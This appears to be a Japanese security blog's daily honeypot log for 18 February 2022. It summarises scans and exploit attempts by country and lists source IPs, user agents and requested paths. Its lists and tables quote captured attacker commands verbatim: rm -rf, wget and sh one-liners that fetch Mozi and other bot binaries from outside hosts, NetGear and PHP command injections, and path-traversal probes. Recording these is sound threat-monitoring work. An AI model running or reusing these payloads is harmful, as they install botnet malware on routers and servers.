2022/02/18 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/02/18分です。

特徴

共通

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
/.envへのスキャン行為

Location:JP

GPONルータの脆弱性を狙うアクセス
.jsへのスキャン行為
/.awsへのスキャン行為
WordPress Pluginへのスキャン行為
phpMyAdminへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm

Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
curlによるスキャン行為
zgrabによるスキャン行為
.cssへのスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為
phpMyAdminへのスキャン行為
Gh0stRATのような動き

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Apache Solrへのスキャン行為
Laravelへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://172.39.95.95:59716/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:SG

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
zgrabによるスキャン行為
.jsへのスキャン行為
Apache Solrへのスキャン行為
UserAgentがHello, Worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm

他

アクセス数推移

JP：総アクセス数：220 (前日比：-171)
US：総アクセス数：422 (前日比：217)
UK：総アクセス数：34 (前日比：-23)
SG：総アクセス数：58 (前日比：-31)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.56.57.165	Netherlands
9	2.58.149.133	Netherlands
1	20.83.148.119	United States
3	20.110.113.96	United States
1	20.124.31.135	United States
2	20.151.201.9	United States
2	23.95.100.141	United States
1	35.241.161.149	United States
1	37.49.225.132	Belize
132	40.122.111.51	United States
3	51.81.159.11	United States
2	52.234.228.130	United States
1	54.224.113.64	United States
1	62.102.148.68	Sweden
2	79.176.166.238	Israel
1	91.208.92.224	United Kingdom
1	109.237.103.9	Russia
2	109.237.103.118	Russia
1	117.215.30.240	India
12	119.28.114.205	China
4	128.14.209.162	United States
2	135.125.217.54	France
12	135.125.246.189	France
1	136.144.17.121	Netherlands
7	139.59.36.131	Singapore
1	141.144.247.55	United States
1	167.99.251.89	United States
1	172.105.89.161	United States
1	173.255.252.153	United States
4	185.254.196.217	Ukraine
4	185.254.196.218	Ukraine
1	196.190.228.60	Ethiopia
1	198.46.233.60	United States
1	205.185.116.212	United States

UserAgent一覧

件数	UserAgent
22	`-`
1	`Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
132	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36`
1	`Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1`
37	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla`
9	`Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36`
1	`Roku/DVP-9.10 (289.10E04111A)`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x16\x03\x01\x01D\x01`
1		`\x16\x03\x01\x01\x9c\x01`
2		`\x16\x03\x01\x01\xa6\x01`
1		`\x16\x03\x01\x01\xb3\x01`
1		`\x16\x03\x01\x01\xfa\x01`
3		`\x16\x03\x01`
1		`\x16\x03\x02\x01\x99\x01`
1		`\x16\x03\x03\x01G\x01`
1		`\x16\x03\x03\x01U\x01`
1		`\x16\x03\x03\x01\x98\x01`
2		`\x16\x03\x03\x01\xa4\x01`
1	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.env.bak`	HTTP/1.1
39	GET	`/.env`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
2	GET	`/2phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/MyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2011/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2012/index.php?lang=en`	HTTP/1.1
3	GET	`/PMA2013/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2014/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2015/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2019/index.php?lang=en`	HTTP/1.1
1	GET	`/_phpMyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/_phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/admin/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/sqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/sysadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/admin/web/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/PMA/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/db/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/pma/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/web/index.php?lang=en`	HTTP/1.1
1	GET	`/aws.yml`	HTTP/1.1
1	GET	`/c/version.js`	HTTP/1.1
1	GET	`/cgi-bin/luci`	HTTP/1.1
1	GET	`/client`	HTTP/1.1
1	GET	`/config.js`	HTTP/1.1
1	GET	`/config/aws.yml`	HTTP/1.1
2	GET	`/database/index.php?lang=en`	HTTP/1.1
1	GET	`/db/db-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/dbweb/index.php?lang=en`	HTTP/1.1
2	GET	`/db/index.php?lang=en`	HTTP/1.1
1	GET	`/db/myadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/db/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
2	GET	`/db/phpmyadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/db/phpmyadmin3/index.php?lang=en`	HTTP/1.1
2	GET	`/db/webadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
4	GET	`/myadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/mysql/db/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/dbadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/mysql/mysqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/pMA/index.php?lang=en`	HTTP/1.1
4	GET	`/mysql/pma/index.php?lang=en`	HTTP/1.1
2	GET	`/mysqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/php-myadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4.9.7-english/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4.9.7/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.0/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.1-english/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5.1.1/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin/index.php?lang=en`	HTTP/1.1
3	GET	`/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin4/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpinfo.php`	HTTP/1.1
1	GET	`/phpinfo`	HTTP/1.1
2	GET	`/phpmy-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2012/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2015/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2016/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2017/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2019/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin3/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin_/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2011/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2013/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2014/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2016/index.php?lang=en`	HTTP/1.1
3	GET	`/program/index.php?lang=en`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm`
2	GET	`/sql/phpMyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sql-admin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/sql/index.php?lang=en`	HTTP/1.1
3	GET	`/sql/sqladmin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/sqlweb/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/webadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en`	HTTP/1.1
1	GET	`http[:]//www[.]baidu[.]com/cache/global/img/gs.gif`	HTTP/1.1
1	GET	`index.php?value[_filename]=cd+/tmp;wget+http[:]//195[.]133[.]18[.]119/beastmode/lolphp.sh;curl+-O+http[:]//195[.]133[.]18[.]119/beastmode/lolphp.sh;chmod+777+lolphp[.]sh;sh+lolphp[.]sh`	HTTP/1.1
3	HEAD	`/`	HTTP/1.0
1	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png`	HTTP/1.1
1	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png`	HTTP/1.1
1	HEAD	`/icons/.%2e/%2e%2e/apache2/icons/sphere1.png`	HTTP/1.1
1	HEAD	`/icons/sphere1.png`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.1
1	POST	`/Api/Session`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
55	20.36.33.249	United States
1	23.95.63.215	United States
2	23.95.100.141	United States
1	23.129.64.211	United States
1	45.87.63.167	United States
11	45.146.165.37	Russia
1	45.163.205.116	Ecuador
8	47.243.107.113	United States
10	51.79.29.48	Canada
1	61.219.11.151	Taiwan
1	66.240.205.34	United States
1	78.128.112.14	Bulgaria
5	83.143.86.62	Norway
1	92.255.85.234	Hong Kong
2	94.232.43.63	Russia
2	104.168.21.28	United States
1	107.189.5.162	United States
1	109.237.103.9	Russia
2	109.237.103.118	Russia
1	112.124.106.120	China
1	117.195.92.108	India
2	117.239.149.94	India
4	128.14.141.34	United States
132	137.184.24.216	United States
7	137.184.111.235	United States
1	162.142.125.210	United States
1	162.142.125.222	United States
1	164.92.219.90	United States
1	167.94.138.46	United States
1	172.104.138.223	United States
25	172.104.140.107	United States
132	193.200.83.154	Poland
1	198.46.233.60	United States
1	200.110.58.169	Bolivia
1	205.185.116.212	United States
1	209.17.97.74	United States
1	222.139.227.131	China
1	223.149.245.197	China

UserAgent一覧

件数	UserAgent
32	`-`
1	`Go-http-client/1.1`
1	`Mozila/5.0`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36`
264	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Spotify / 1.1.39.612 Safari / 537.36`
71	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
4	`Mozilla/5.0 (compatible;)`
5	`Mozilla/5.0 zgrab/0.x`
1	`User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705`
16	`curl/7.54.0`
2	`curl/7.75.0`
1	`lynx`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`Gh0st\xad`
3		`\x03`
1		`\x16\x03\x01\x01D\x01`
1		`\x16\x03\x01\x01\xfb\x01`
11		`\x16\x03\x01\x02`
2		`\x16\x03\x01`
1	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.env.backup`	HTTP/1.1
1	GET	`/.env.docker.dev`	HTTP/1.1
1	GET	`/.env.live`	HTTP/1.1
1	GET	`/.env.local`	HTTP/1.1
1	GET	`/.env.php`	HTTP/1.1
1	GET	`/.env.prod.local`	HTTP/1.1
1	GET	`/.env.prod`	HTTP/1.1
1	GET	`/.env.production.local`	HTTP/1.1
1	GET	`/.env.production`	HTTP/1.1
1	GET	`/.env.save`	HTTP/1.1
17	GET	`/.env`	HTTP/1.1
1	GET	`/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000`	HTTP/1.1
1	GET	`/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42`	HTTP/1.1
2	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/CSS/Miniweb.css`	HTTP/1.1
2	GET	`/HNAP1`	HTTP/1.1
2	GET	`/MyAdmin/index.php?lang=en`	HTTP/1.1
3	GET	`/PMA/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2011/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2012/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2013/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2015/index.php?lang=en`	HTTP/1.1
3	GET	`/PMA2016/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2018/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2019/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2020/index.php?lang=en`	HTTP/1.1
1	GET	`/Portal/Portal.mwsl`	HTTP/1.1
1	GET	`/Portal0000.htm`	HTTP/1.1
1	GET	`/__Additional`	HTTP/1.1
2	GET	`/_ignition/execute-solution`	HTTP/1.1
3	GET	`/_phpMyAdmin/index.php?lang=en`	HTTP/1.1
4	GET	`/_phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/admin.jhtml`	HTTP/1.1
1	GET	`/admin/db/index.php?lang=en`	HTTP/1.1
4	GET	`/admin/pMA/index.php?lang=en`	HTTP/1.1
4	GET	`/admin/phpMyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/phpmyadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/sqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/sysadmin/index.php?lang=en`	HTTP/1.1
5	GET	`/admin/web/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/PMA/index.php?lang=en`	HTTP/1.1
3	GET	`/administrator/admin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/db/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/phpmyadmin/index.php?lang=en`	HTTP/1.1
4	GET	`/administrator/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/web/index.php?lang=en`	HTTP/1.1
1	GET	`/api/src/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/app/client/.env`	HTTP/1.1
1	GET	`/app/config/.env`	HTTP/1.1
1	GET	`/app/config/dev/.env`	HTTP/1.1
1	GET	`/app/frontend/.env`	HTTP/1.1
1	GET	`/app_dir/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/back-end/app/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/backend/src/.env`	HTTP/1.1
1	GET	`/backup/.env`	HTTP/1.1
1	GET	`/c/version.js`	HTTP/1.1
1	GET	`/cgi-bin/check_auth.cgi`	HTTP/1.1
1	GET	`/cgi-bin/index.html`	HTTP/1.1
1	GET	`/cgi-bin/login.cgi`	HTTP/1.1
1	GET	`/cgi-bin/main.cgi`	HTTP/1.1
1	GET	`/client-app/.env`	HTTP/1.1
1	GET	`/client/.env`	HTTP/1.1
1	GET	`/client/src/.env`	HTTP/1.1
1	GET	`/conf/.env`	HTTP/1.1
1	GET	`/config/.env`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/core/Database/.env`	HTTP/1.1
1	GET	`/core/app/.env`	HTTP/1.1
1	GET	`/data/.env`	HTTP/1.1
1	GET	`/database/index.php?lang=en`	HTTP/1.1
3	GET	`/db/db-admin/index.php?lang=en`	HTTP/1.1
3	GET	`/db/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/dbweb/index.php?lang=en`	HTTP/1.1
3	GET	`/db/index.php?lang=en`	HTTP/1.1
1	GET	`/db/myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
3	GET	`/db/phpMyAdmin/index.php?lang=en`	HTTP/1.1
5	GET	`/db/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
4	GET	`/db/phpmyadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/db/phpmyadmin3/index.php?lang=en`	HTTP/1.1
3	GET	`/db/webadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/db/websql/index.php?lang=en`	HTTP/1.1
1	GET	`/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/docker/app/.env`	HTTP/1.1
1	GET	`/docs/cplugError.html/`	HTTP/1.1
1	GET	`/env/.env`	HTTP/1.1
1	GET	`/environments/local/.env`	HTTP/1.1
1	GET	`/environments/production/.env`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/fuN3`	HTTP/1.0
1	GET	`/fuel/pages/select/`	HTTP/1.1
1	GET	`/home.cfm`	HTTP/1.1
1	GET	`/home/.env`	HTTP/1.1
1	GET	`/htdocs/.env`	HTTP/1.1
1	GET	`/html/.env`	HTTP/1.1
1	GET	`/hunmj_serverApi/test.php`	HTTP/1.1
1	GET	`/info`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
3	GET	`/myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/admin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/db/index.php?lang=en`	HTTP/1.1
3	GET	`/mysql/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/index.php?lang=en`	HTTP/1.1
3	GET	`/mysql/mysqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/pMA/index.php?lang=en`	HTTP/1.1
2	GET	`/mysql/pma/index.php?lang=en`	HTTP/1.1
3	GET	`/mysql/sqlmanager/index.php?lang=en`	HTTP/1.1
2	GET	`/mysql/web/index.php?lang=en`	HTTP/1.1
1	GET	`/mysqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/nmaplowercheck1645090867`	HTTP/1.1
1	GET	`/path/.env`	HTTP/1.1
2	GET	`/php-myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
4	GET	`/phpMyAdmin-4.9.7/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-4/index.php?lang=en`	HTTP/1.1
6	GET	`/phpMyAdmin-5.1.0-english/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.0/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin1/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
4	GET	`/phpMyAdmin4/index.php?lang=en`	HTTP/1.1
6	GET	`/phpMyAdmin5/index.php?lang=en`	HTTP/1.1
4	GET	`/phpMyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpinfo`	HTTP/1.1
3	GET	`/phpmy-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2011/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2014/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2015/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2016/index.php?lang=en`	HTTP/1.1
6	GET	`/phpmyadmin2017/index.php?lang=en`	HTTP/1.1
4	GET	`/phpmyadmin2018/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmyadmin2019/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmyadmin2020/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2021/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmyadmin3/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin4/index.php?lang=en`	HTTP/1.1
5	GET	`/phpmyadmin5/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin_/index.php?lang=en`	HTTP/1.1
1	GET	`/phppma/index.php?lang=en`	HTTP/1.1
2	GET	`/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2011/index.php?lang=en`	HTTP/1.1
3	GET	`/pma2012/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2014/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2015/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2016/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2017/index.php?lang=en`	HTTP/1.1
3	GET	`/pma2018/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2019/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2021/index.php?lang=en`	HTTP/1.1
1	GET	`/pools`	HTTP/1.1
2	GET	`/program/index.php?lang=en`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
1	GET	`/public_html/.env`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/server/.env`	HTTP/1.1
1	GET	`/server/config/.env`	HTTP/1.1
1	GET	`/server/laravel/.env`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//222[.]139[.]227[.]131:50598/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm`
5	GET	`/shopdb/index.php?lang=en`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
2	GET	`/sql/myadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/php-myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
4	GET	`/sql/phpmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmy-admin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpmyadmin3/index.php?lang=en`	HTTP/1.1
4	GET	`/sql/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin5/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/sql-admin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/sql/index.php?lang=en`	HTTP/1.1
4	GET	`/sql/sqladmin/index.php?lang=en`	HTTP/1.1
3	GET	`/sql/sqlweb/index.php?lang=en`	HTTP/1.1
4	GET	`/sql/webadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/webdb/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/websql/index.php?lang=en`	HTTP/1.1
4	GET	`/sqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/start.aspx`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
